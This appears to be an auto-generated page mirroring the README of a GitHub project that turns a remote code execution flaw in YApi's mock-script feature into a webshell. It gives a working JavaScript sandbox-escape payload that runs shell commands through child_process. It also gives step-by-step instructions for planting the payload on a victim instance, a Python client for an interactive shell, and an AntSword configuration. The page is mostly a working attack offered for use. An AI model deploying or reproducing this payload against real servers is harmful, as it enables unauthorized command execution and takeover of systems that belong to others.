Yapi rce webshell
Yapi mock script RCE another version. Webshell way. 另一种 Webshell 方式的 Yapi 命令执行的方法 相比于其他的利用方式 更加微操和可控 影响更小
**yapi rce webshell** is a Yapi mock script RCE another version. Webshell way. 另一种 Webshell 方式的 Yapi 命令执行的方法 相比于其他的利用方式 更加微操和可控 影响更小 The project is written primarily in Python, first published in 2022. Key topics include: exp, exploit, mock, mockjs, rce.
yapi-rce-webshell
Yapi mock script RCE another version. Webshell way.
https://github.com/YMFE/yapi/issues/2099
funny things
usage:
- victim yapi website
- register account
- craete project and create api in it
- create mock script like
jsconst sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("cd "+cookie.dir+";"+cookie.cmd).toString() // you can also add exec function to do some async jobs like running enum scripts
- use python script to connect webshell and interactive
bashpython3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test } -i # interactive mode # or python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test} {cmd dir,you can use "."} {command location}
AntSword-like Alternative
- Same as usage
- But Create an API With Advanced Mock POST Method.
jsconst sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync(params.data).toString() // you can also add exec function to do some async jobs like running enum scripts
- Open AntSword
- Create with Config like
- Type: CMDLINUX
- Pass: data
- URL: mock url in Yapi config
- encoder: default
- decoder: base64
- enjoy your webshell
Contributors
Showing top 1 contributor by commit count.
This article is auto-generated from Esonhugh/yapi-rce-webshell via the GitHub API.Last fetched: 6/24/2026
